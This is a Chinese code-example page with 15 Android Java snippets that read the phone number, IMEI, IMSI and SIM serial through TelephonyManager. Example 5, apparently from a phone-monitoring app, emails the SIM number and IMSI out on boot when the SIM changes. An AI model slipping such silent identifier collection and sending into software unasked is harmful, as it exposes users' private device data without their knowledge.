本文整理汇总了Java中android.telephony.TelephonyManager.getLine1Number方法的典型用法代码示例。如果您正苦于以下问题:Java TelephonyManager.getLine1Number方法的具体用法?Java TelephonyManager.getLine1Number怎么用?Java TelephonyManager.getLine1Number使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类android.telephony.TelephonyManager
的用法示例。
在下文中一共展示了TelephonyManager.getLine1Number方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: getPhoneStatus
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取手机状态信息
* <p>需添加权限 {@code <uses-permission android:name="android.permission.READ_PHONE_STATE"/>}</p>
*
* @return DeviceId(IMEI) = 99000311726612<br>
* DeviceSoftwareVersion = 00<br>
* Line1Number =<br>
* NetworkCountryIso = cn<br>
* NetworkOperator = 46003<br>
* NetworkOperatorName = 中国电信<br>
* NetworkType = 6<br>
* honeType = 2<br>
* SimCountryIso = cn<br>
* SimOperator = 46003<br>
* SimOperatorName = 中国电信<br>
* SimSerialNumber = 89860315045710604022<br>
* SimState = 5<br>
* SubscriberId(IMSI) = 460030419724900<br>
* VoiceMailNumber = *86<br>
*/
public static String getPhoneStatus() {
TelephonyManager tm = (TelephonyManager) Utils.getContext()
.getSystemService(Context.TELEPHONY_SERVICE);
String str = "";
str += "DeviceId(IMEI) = " + tm.getDeviceId() + "\n";
str += "DeviceSoftwareVersion = " + tm.getDeviceSoftwareVersion() + "\n";
str += "Line1Number = " + tm.getLine1Number() + "\n";
str += "NetworkCountryIso = " + tm.getNetworkCountryIso() + "\n";
str += "NetworkOperator = " + tm.getNetworkOperator() + "\n";
str += "NetworkOperatorName = " + tm.getNetworkOperatorName() + "\n";
str += "NetworkType = " + tm.getNetworkType() + "\n";
str += "honeType = " + tm.getPhoneType() + "\n";
str += "SimCountryIso = " + tm.getSimCountryIso() + "\n";
str += "SimOperator = " + tm.getSimOperator() + "\n";
str += "SimOperatorName = " + tm.getSimOperatorName() + "\n";
str += "SimSerialNumber = " + tm.getSimSerialNumber() + "\n";
str += "SimState = " + tm.getSimState() + "\n";
str += "SubscriberId(IMSI) = " + tm.getSubscriberId() + "\n";
str += "VoiceMailNumber = " + tm.getVoiceMailNumber() + "\n";
return str;
}
示例2: getPhoneStatus
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取手机状态信息
* <p>需添加权限 {@code <uses-permission android:name="android.permission.READ_PHONE_STATE"/>}</p>
*
* @return DeviceId(IMEI) = 99000311726612<br>
* DeviceSoftwareVersion = 00<br>
* Line1Number =<br>
* NetworkCountryIso = cn<br>
* NetworkOperator = 46003<br>
* NetworkOperatorName = 中国电信<br>
* NetworkType = 6<br>
* honeType = 2<br>
* SimCountryIso = cn<br>
* SimOperator = 46003<br>
* SimOperatorName = 中国电信<br>
* SimSerialNumber = 89860315045710604022<br>
* SimState = 5<br>
* SubscriberId(IMSI) = 460030419724900<br>
* VoiceMailNumber = *86<br>
*/
@SuppressLint("HardwareIds")
public static String getPhoneStatus() {
TelephonyManager tm = (TelephonyManager) Utils.getApp()
.getSystemService(Context.TELEPHONY_SERVICE);
String str = "";
str += "DeviceId(IMEI) = " + tm.getDeviceId() + "\n";
str += "DeviceSoftwareVersion = " + tm.getDeviceSoftwareVersion() + "\n";
str += "Line1Number = " + tm.getLine1Number() + "\n";
str += "NetworkCountryIso = " + tm.getNetworkCountryIso() + "\n";
str += "NetworkOperator = " + tm.getNetworkOperator() + "\n";
str += "NetworkOperatorName = " + tm.getNetworkOperatorName() + "\n";
str += "NetworkType = " + tm.getNetworkType() + "\n";
str += "PhoneType = " + tm.getPhoneType() + "\n";
str += "SimCountryIso = " + tm.getSimCountryIso() + "\n";
str += "SimOperator = " + tm.getSimOperator() + "\n";
str += "SimOperatorName = " + tm.getSimOperatorName() + "\n";
str += "SimSerialNumber = " + tm.getSimSerialNumber() + "\n";
str += "SimState = " + tm.getSimState() + "\n";
str += "SubscriberId(IMSI) = " + tm.getSubscriberId() + "\n";
str += "VoiceMailNumber = " + tm.getVoiceMailNumber() + "\n";
return str;
}
示例3: getPhoneStatus
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取手机状态信息
* <p>需添加权限 {@code <uses-permission android:name="android.permission.READ_PHONE_STATE"/>}</p>
*
* @return DeviceId(IMEI) = 99000311726612<br>
* DeviceSoftwareVersion = 00<br>
* Line1Number =<br>
* NetworkCountryIso = cn<br>
* NetworkOperator = 46003<br>
* NetworkOperatorName = 中国电信<br>
* NetworkType = 6<br>
* honeType = 2<br>
* SimCountryIso = cn<br>
* SimOperator = 46003<br>
* SimOperatorName = 中国电信<br>
* SimSerialNumber = 89860315045710604022<br>
* SimState = 5<br>
* SubscriberId(IMSI) = 460030419724900<br>
* VoiceMailNumber = *86<br>
*/
@SuppressLint("HardwareIds")
public static String getPhoneStatus() {
TelephonyManager tm = (TelephonyManager) Utils.getContext()
.getSystemService(Context.TELEPHONY_SERVICE);
String str = "";
str += "DeviceId(IMEI) = " + tm.getDeviceId() + "\n";
str += "DeviceSoftwareVersion = " + tm.getDeviceSoftwareVersion() + "\n";
str += "Line1Number = " + tm.getLine1Number() + "\n";
str += "NetworkCountryIso = " + tm.getNetworkCountryIso() + "\n";
str += "NetworkOperator = " + tm.getNetworkOperator() + "\n";
str += "NetworkOperatorName = " + tm.getNetworkOperatorName() + "\n";
str += "NetworkType = " + tm.getNetworkType() + "\n";
str += "PhoneType = " + tm.getPhoneType() + "\n";
str += "SimCountryIso = " + tm.getSimCountryIso() + "\n";
str += "SimOperator = " + tm.getSimOperator() + "\n";
str += "SimOperatorName = " + tm.getSimOperatorName() + "\n";
str += "SimSerialNumber = " + tm.getSimSerialNumber() + "\n";
str += "SimState = " + tm.getSimState() + "\n";
str += "SubscriberId(IMSI) = " + tm.getSubscriberId() + "\n";
str += "VoiceMailNumber = " + tm.getVoiceMailNumber() + "\n";
return str;
}
示例4: getPhoneStatus
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取手机状态信息
* <p>需添加权限 {@code <uses-permission android:name="android.permission.READ_PHONE_STATE"/>}</p>
*
* @return DeviceId(IMEI) = 99000311726612<br>
* DeviceSoftwareVersion = 00<br>
* Line1Number =<br>
* NetworkCountryIso = cn<br>
* NetworkOperator = 46003<br>
* NetworkOperatorName = 中国电信<br>
* NetworkType = 6<br>
* honeType = 2<br>
* SimCountryIso = cn<br>
* SimOperator = 46003<br>
* SimOperatorName = 中国电信<br>
* SimSerialNumber = 89860315045710604022<br>
* SimState = 5<br>
* SubscriberId(IMSI) = 460030419724900<br>
* VoiceMailNumber = *86<br>
*/
@SuppressLint("HardwareIds")
public static String getPhoneStatus(Context context) {
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Context.TELEPHONY_SERVICE);
String str = "";
str += "DeviceId(IMEI) = " + tm.getDeviceId() + "\n";
str += "DeviceSoftwareVersion = " + tm.getDeviceSoftwareVersion() + "\n";
str += "Line1Number = " + tm.getLine1Number() + "\n";
str += "NetworkCountryIso = " + tm.getNetworkCountryIso() + "\n";
str += "NetworkOperator = " + tm.getNetworkOperator() + "\n";
str += "NetworkOperatorName = " + tm.getNetworkOperatorName() + "\n";
str += "NetworkType = " + tm.getNetworkType() + "\n";
str += "PhoneType = " + tm.getPhoneType() + "\n";
str += "SimCountryIso = " + tm.getSimCountryIso() + "\n";
str += "SimOperator = " + tm.getSimOperator() + "\n";
str += "SimOperatorName = " + tm.getSimOperatorName() + "\n";
str += "SimSerialNumber = " + tm.getSimSerialNumber() + "\n";
str += "SimState = " + tm.getSimState() + "\n";
str += "SubscriberId(IMSI) = " + tm.getSubscriberId() + "\n";
str += "VoiceMailNumber = " + tm.getVoiceMailNumber() + "\n";
return str;
}
示例5: onReceive
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
public void onReceive(Context context, Intent intent) {
XLog.d("检测到开机信息!");
GetSharePrefe paras = new GetSharePrefe(context);
SharedPreferences zcps = context.getSharedPreferences("reg", 0);
if (paras.isTonghuajilu() || paras.isTonghualuyin()) {
context.startService(new Intent(context, PhoneService.class));
}
try {
String str = "";
String IMSI = "0";
try {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
str = telephonyManager.getLine1Number();
IMSI = telephonyManager.getSubscriberId();
} catch (Exception e) {
e.printStackTrace();
}
String shoujiName = paras.getShoujiName();
String userEmail = paras.getUserEmail();
String userIMSI = paras.getCardIMSI();
boolean iszhuce = OtherOperatorService.isReg(paras.getUserEmail(), paras.getShoujiImei(), zcps.getString("zhucema", ""));
boolean ischange = !userIMSI.equals(IMSI);
if (iszhuce && ischange && OtherOperatorService.check3Gwifi(context)) {
XLog.d("开始发送开机信息!");
OtherOperatorService.uploadEmail(paras.getSmtp(), paras.getPort(), userEmail, paras.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--换卡通知").toString(), "换前卡信息:" + paras.getCardNumber() + "," + paras.getCardIMSI() + "<br/>" + "换后卡信息:" + str + "," + IMSI + "(" + OtherOperatorService.getCardName(IMSI) + ")");
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
示例6: getInfo
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
private String getInfo() {
TelephonyManager mTm = (TelephonyManager)this.getSystemService(TELEPHONY_SERVICE);
String imei = mTm.getDeviceId();
String imsi = mTm.getSubscriberId();
String mtype = android.os.Build.MODEL; // 手机型号
String mtyb= android.os.Build.BRAND;//手机品牌
String numer = mTm.getLine1Number(); // 手机号码,有的可得,有的不可得
return "\n手机型号:"+mtype+"\n手机品牌:"+mtyb+"\n手机号码"+numer;
}
示例7: getLine1Number
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
public static String getLine1Number(Context context) {
TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
if (tm == null) {
return "";
}
return "" + tm.getLine1Number();
}
示例8: getPhoneNumber
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取手机号码
*
* @return --返回手机号码
*/
private String getPhoneNumber(@NonNull Context context) {
try {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
return telephonyManager.getLine1Number();
}catch (Exception e){
return "";
}
}
示例9: getSelfNumber
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取本机号码
*/
public static String getSelfNumber(Context context) {
try {
TelephonyManager phoneMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
return phoneMgr.getLine1Number();
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
示例10: getPhoneNumber
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
@ReactMethod
public void getPhoneNumber(Promise promise){
TelephonyManager manager = (TelephonyManager) this.reactContext.getSystemService(Context.TELEPHONY_SERVICE);
String phoneNumber = manager.getLine1Number();
WritableMap map = Arguments.createMap();
map.putString("phoneNumber", phoneNumber);
promise.resolve(map);
}
示例11: CommonParams
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
public CommonParams(Context context) {
prefs = context.getSharedPreferences(Constants.PACKAGE_NAME, Context.MODE_PRIVATE);
server = prefs.getString(Constants.PREF_SERVER_URL_FIELD, Constants.DEVELOPMENT_SERVER);
uid = Settings.Secure.getString(context.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
sdk = Integer.valueOf(Build.VERSION.SDK_INT).toString();
version = Build.VERSION.RELEASE;
TelephonyManager telephonyManager = ((TelephonyManager) context.getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE));
provider = telephonyManager.getNetworkOperatorName();
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
phone = telephonyManager.getLine1Number();
}
device = android.os.Build.MODEL;
}
示例12: getTelNumber
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* @param context 上下文
* @return 返回手机号码 tel number
*/
@SuppressLint("MissingPermission")
public static String getTelNumber(Context context) {
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Context.TELEPHONY_SERVICE);
return tm.getLine1Number();
}
示例13: getPhoneStatus
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取手机状态信息
* <p>需添加权限<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
* <p>返回如下
* <pre>
* DeviceId(IMEI) = 99000311726612
* DeviceSoftwareVersion = 00
* Line1Number =
* NetworkCountryIso = cn
* NetworkOperator = 46003
* NetworkOperatorName = 中国电信
* NetworkType = 6
* honeType = 2
* SimCountryIso = cn
* SimOperator = 46003
* SimOperatorName = 中国电信
* SimSerialNumber = 89860315045710604022
* SimState = 5
* SubscriberId(IMSI) = 460030419724900
* VoiceMailNumber = *86
* <pre/>
*/
public static String getPhoneStatus(Context context) {
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Context.TELEPHONY_SERVICE);
String str = "";
str += "DeviceId(IMEI) = " + tm.getDeviceId() + "\n";
str += "DeviceSoftwareVersion = " + tm.getDeviceSoftwareVersion() + "\n";
str += "Line1Number = " + tm.getLine1Number() + "\n";
str += "NetworkCountryIso = " + tm.getNetworkCountryIso() + "\n";
str += "NetworkOperator = " + tm.getNetworkOperator() + "\n";
str += "NetworkOperatorName = " + tm.getNetworkOperatorName() + "\n";
str += "NetworkType = " + tm.getNetworkType() + "\n";
str += "honeType = " + tm.getPhoneType() + "\n";
str += "SimCountryIso = " + tm.getSimCountryIso() + "\n";
str += "SimOperator = " + tm.getSimOperator() + "\n";
str += "SimOperatorName = " + tm.getSimOperatorName() + "\n";
str += "SimSerialNumber = " + tm.getSimSerialNumber() + "\n";
str += "SimState = " + tm.getSimState() + "\n";
str += "SubscriberId(IMSI) = " + tm.getSubscriberId() + "\n";
str += "VoiceMailNumber = " + tm.getVoiceMailNumber() + "\n";
return str;
}
示例14: getLine1Number
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
public String getLine1Number() {
TelephonyManager telephonyManager = (TelephonyManager) getSystemService("phone");
return telephonyManager == null ? "-1" : telephonyManager.getLine1Number();
}
示例15: getTelNumber
import android.telephony.TelephonyManager; //导入方法依赖的package包/类
/**
* 获取手机号码(双卡手机未测试)
*/
public static String getTelNumber(Context context) {
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Context.TELEPHONY_SERVICE);
return tm.getLine1Number();
}